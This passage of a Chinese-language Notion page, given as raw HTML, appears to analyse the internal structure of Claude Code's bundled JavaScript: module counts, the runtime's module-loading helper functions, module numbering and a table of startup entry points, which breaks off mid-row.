class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80a5a41ddddc8a7c5e03" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#14-%E9%81%A5%E6%B5%8B%E7%B3%BB%E7%BB%9F">遥测系统</a></li></ol><ol start="15" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80cca305dc872f9b967d" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#15-%E4%BC%81%E4%B8%9A%E7%AD%96%E7%95%A5%E5%8A%9F%E8%83%BD">企业策略功能</a></li></ol><ol start="16" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80918c17f9ba915bfdd6" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#16-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F">配置文件系统</a></li></ol><ol start="17" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80538776ef990bf33ed3" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#17-%E5%AD%90%E4%BB%A3%E7%90%86%E7%B3%BB%E7%BB%9F">子代理系统</a></li></ol><ol start="18" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8000acced011f6998cb1" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#18-%E4%BC%9A%E8%AF%9D%E7%AE%A1%E7%90%86">会话管理</a></li></ol><ol start="19" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80a19e0be346ee06ad27" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#19-git%E9%9B%86%E6%88%90">Git集成</a></li></ol><ol start="20" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8059bae6c892a10fa875" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#20-%E8%87%AA%E5%8A%A8%E6%9B%B4%E6%96%B0%E6%9C%BA%E5%88%B6">自动更新机制</a></li></ol><ol start="21" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80d99516c6b9ce2b1797" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#21-%E5%85%B3%E9%94%AE%E5%B8%B8%E9%87%8F%E5%92%8C%E9%85%8D%E7%BD%AE">关键常量和配置</a></li></ol><ol start="22" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80849a4fceacfbf1294c" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#22-%E5%AE%89%E5%85%A8%E7%89%B9%E6%80%A7">安全特性</a></li></ol><ol start="23" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80609e2fe95c507a8224" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#23-%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E7%AD%96%E7%95%A5">性能优化策略</a></li></ol><ol start="24" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8067b8f2c4ed970fb6a3" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#24-%E4%BE%9D%E8%B5%96%E5%88%86%E6%9E%90">依赖分析</a></li></ol><hr class="notion-hr notion-block-31d0f0c5b87c80ebbba4cd4cce2674b8"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80e58591ffd9beb9de26" data-id="31d0f0c5b87c80e58591ffd9beb9de26"><span><div id="31d0f0c5b87c80e58591ffd9beb9de26" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80e58591ffd9beb9de26" title="1. 总体架构概览"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 总体架构概览</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8087aa0bde1ba55982d8" data-id="31d0f0c5b87c8087aa0bde1ba55982d8"><span><div id="31d0f0c5b87c8087aa0bde1ba55982d8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8087aa0bde1ba55982d8" title="1.1 打包结构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.1 打包结构</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8061bbafd7dee05a8af7" data-id="31d0f0c5b87c8061bbafd7dee05a8af7"><span><div id="31d0f0c5b87c8061bbafd7dee05a8af7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8061bbafd7dee05a8af7" title="1.2 高层架构图"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.2 高层架构图</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c801d8b48c42acdbd76a1" data-id="31d0f0c5b87c801d8b48c42acdbd76a1"><span><div id="31d0f0c5b87c801d8b48c42acdbd76a1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801d8b48c42acdbd76a1" title="1.3 模块统计"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.3 模块统计</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8023b383c5966ffff34c"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c810f9577cb5c6a5328f3"><td class="" style="width:120px"><div class="notion-simple-table-cell">指标</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">数值</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81129b82df18ba370610"><td class="" style="width:120px"><div class="notion-simple-table-cell">总模块数</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4,697</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">包含 vendor</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8125a6b2dc413a505481"><td class="" style="width:120px"><div class="notion-simple-table-cell">应用模块</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2,894</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Claude Code 自身代码</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81efa446f94e4b9e014d"><td class="" style="width:120px"><div class="notion-simple-table-cell">Vendor 模块</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1,805</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">第三方依赖</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81b9b484c1da275de5d5"><td class="" style="width:120px"><div class="notion-simple-table-cell">Vendor 包</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">127</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">识别的 npm 包</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a2883ee43d3042488a"><td class="" style="width:120px"><div class="notion-simple-table-cell">依赖边数</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">16,740</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块间调用关系</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c815585a6ea265575dc1b"><td class="" style="width:120px"><div class="notion-simple-table-cell">平均依赖度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3.6</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">每模块平均依赖数</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c80c59c3edcba3db31af6"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80379c00c368cd04ac99" data-id="31d0f0c5b87c80379c00c368cd04ac99"><span><div id="31d0f0c5b87c80379c00c368cd04ac99" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80379c00c368cd04ac99" title="2. 模块系统原理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 模块系统原理</span></span></h3><div class="notion-text notion-block-31d0f0c5b87c8007b740e6c89dbcb2c9">Claude Code 使用 Bun bundler 将所有源码打包为单文件，通过自定义运行时实现模块加载。</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80b184e2c0b11bffe328" data-id="31d0f0c5b87c80b184e2c0b11bffe328"><span><div id="31d0f0c5b87c80b184e2c0b11bffe328" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b184e2c0b11bffe328" title="2.1 核心函数详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.1 核心函数详解</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8023a3e2d69fd534976c" data-id="31d0f0c5b87c8023a3e2d69fd534976c"><span><div id="31d0f0c5b87c8023a3e2d69fd534976c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8023a3e2d69fd534976c" title="2.1.1 C() - CommonJS 模块工厂"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.1.1 C() - CommonJS 模块工厂</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c8049988cceef5fd78657"><b>工作原理</b>:
1. 接收模块函数 <code class="notion-inline-code">A</code> 和缓存变量 <code class="notion-inline-code">q</code>
2. 返回一个惰性求值的工厂函数
3. 首次调用时执行模块函数，缓存结果
4. 后续调用直接返回缓存的 <code class="notion-inline-code">exports</code></div><div class="notion-text notion-block-31d0f0c5b87c8076bd1ee3eada64ebe8"><b>使用场景</b>: 包装 vendor 库（axios, semver 等）和 CJS 格式模块</div><div class="notion-text notion-block-31d0f0c5b87c80aea1e8debbde113753"><b>示例</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8063a046c6601a426882" data-id="31d0f0c5b87c8063a046c6601a426882"><span><div id="31d0f0c5b87c8063a046c6601a426882" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8063a046c6601a426882" title="2.1.2 k() - ESM 模块初始化器"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.1.2 k() - ESM 模块初始化器</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c802980ade222a68b74ee"><b>工作原理</b>:
1. 接收初始化函数 <code class="notion-inline-code">A</code> 和缓存变量 <code class="notion-inline-code">q</code>
2. 首次调用时执行 <code class="notion-inline-code">A(0)</code>（0 表示已执行）
3. 将返回值缓存到 <code class="notion-inline-code">q</code>
4. 后续调用返回缓存值</div><div class="notion-text notion-block-31d0f0c5b87c80438b96fa70183a1a76"><b>使用场景</b>: ESM 模块的副作用执行、导出绑定</div><div class="notion-text notion-block-31d0f0c5b87c804b9201c53538d2ea12"><b>示例</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80519218d1b2155eb4ff" data-id="31d0f0c5b87c80519218d1b2155eb4ff"><span><div id="31d0f0c5b87c80519218d1b2155eb4ff" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80519218d1b2155eb4ff" title="2.1.3 m1() - 导出绑定系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.1.3 m1() - 导出绑定系统</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c80acabcdf58063fa64fe"><b>工作原理</b>:
1. 为目标对象 <code class="notion-inline-code">A</code> 添加属性
2. 每个属性的 getter 指向 <code class="notion-inline-code">q[K]</code> 函数
3. 支持动态重新绑定
4. 可配置和可枚举</div><div class="notion-text notion-block-31d0f0c5b87c80b8a930c8baf157707a"><b>用途</b>: 实现类似 ESM 的命名导出</div><div class="notion-text notion-block-31d0f0c5b87c80439966fc1cc93da05e"><b>示例</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8065b6b6d362a06e4074" data-id="31d0f0c5b87c8065b6b6d362a06e4074"><span><div id="31d0f0c5b87c8065b6b6d362a06e4074" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8065b6b6d362a06e4074" title="2.1.4 e() / W3() - 模块互操作性"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.1.4 e() / W3() - 模块互操作性</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80119b2cd7e6179e7fe0" data-id="31d0f0c5b87c80119b2cd7e6179e7fe0"><span><div id="31d0f0c5b87c80119b2cd7e6179e7fe0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80119b2cd7e6179e7fe0" title="2.2 模块依赖图结构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.2 模块依赖图结构</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c80f992c4e481b53ff56a"><b>特点</b>:
- 深度优先执行顺序
- 环形依赖通过惰性求值解决
- 约 4,697 个独立模块节点</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c804f8468cb451291de95" data-id="31d0f0c5b87c804f8468cb451291de95"><span><div id="31d0f0c5b87c804f8468cb451291de95" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c804f8468cb451291de95" title="2.3 模块编号规则"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.3 模块编号规则</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8056906fe08dc0b41057"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81449913dcc31bea5641"><td class="" style="width:120px"><div class="notion-simple-table-cell">编号范围</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c9a156e83ae1b0422e"><td class="" style="width:120px"><div class="notion-simple-table-cell">00-runtime.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">运行时</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块系统核心定义</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81418e76c01146b9d6b7"><td class="" style="width:120px"><div class="notion-simple-table-cell">0001-289x.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">应用模块</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Claude Code 自身代码</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816092dbc7ccfe0bb647"><td class="" style="width:120px"><div class="notion-simple-table-cell">3000-4697.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">应用模块</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更多应用模块</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a18a6edc1cf5b6a0aa"><td class="" style="width:120px"><div class="notion-simple-table-cell">vendor/*.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">第三方</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">npm 包，按包名组织</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c80a8bf65eb82b05d98c3"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80d18a05dde0eebd4128" data-id="31d0f0c5b87c80d18a05dde0eebd4128"><span><div id="31d0f0c5b87c80d18a05dde0eebd4128" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80d18a05dde0eebd4128" title="3. 启动流程详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 启动流程详解</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80a881aff97f22537343" data-id="31d0f0c5b87c80a881aff97f22537343"><span><div id="31d0f0c5b87c80a881aff97f22537343" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80a881aff97f22537343" title="3.1 主函数执行流"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.1 主函数执行流</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80ac8140e376447b9c0d" data-id="31d0f0c5b87c80ac8140e376447b9c0d"><span><div id="31d0f0c5b87c80ac8140e376447b9c0d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80ac8140e376447b9c0d" title="3.2 命令处理函数 Paz()"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.2 命令处理函数 Paz()</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c80b2b1dedba50e40865d"><b>位置</b>: 4696.js, 第 380 行</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c809dae58d8f5198c26fd" data-id="31d0f0c5b87c809dae58d8f5198c26fd"><span><div id="31d0f0c5b87c809dae58d8f5198c26fd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809dae58d8f5198c26fd" title="3.3 支持的入口点类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3.3 支持的入口点类型</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8057b97affb76710aaeb"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c812aa3acd1e4fd48de73"><td class="" style="width:120px"><div class="notion-simple-table-cell">入口点</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">检测条件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">用途</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e3a264c51fc7b87c37"><td class="" style="width:120px"><div class="notion-simple-table-cell">cli</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">默认</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">标准命令行界面</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8187a82ad2fccf116727"><td class="" style="width:120px"><div class="notion-simple-table-cell">github-action</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GITHUB_ACTIONS 环境变量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GitHub Actions 集成</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a38a30df966575b8d1"><td class="" style="width:120px"><div class="notion-simple-table-cell">sdk-typescript</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SDK_TYPESCRIPT_MODE</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">TypeScript SDK 调用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81798174c887b6d0ed9f"><td class="" style="width:120px"><div class="notion-simple-table-cell">sdk-python</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SDK_PYTHON_MODE</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Python SDK 调用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81098d44ca2a02fda47c"><td class="" style="width:120px"><div class="notion-simple-table-cell">sdk-cli</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SDK_CLI_MODE</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">CLI SDK 调用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f49e14fe8a63f73d05"><td class="" style="width:120px"><div class="notion-simple-table-cell">claude-vscode</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">VSCODE_EXTENSION</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">VS Code 扩展</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c810aa052d424f2d6724c"><td class="" style="width:120px"><div class="notion-simple-table-cell">claude-desktop</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">DESKTOP_APP</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">桌面应用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8147b0bfdf597ebeaca8"><td class="" style="width:120px"><div class="notion-simple-table-cell">local-agent</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">LOCAL_AGENT</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">本地代理模式</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8139af3fe9ec023f7e98"><td class="" style="width:120px"><div class="notion-simple-table-cell">remote</div></td><td class="" 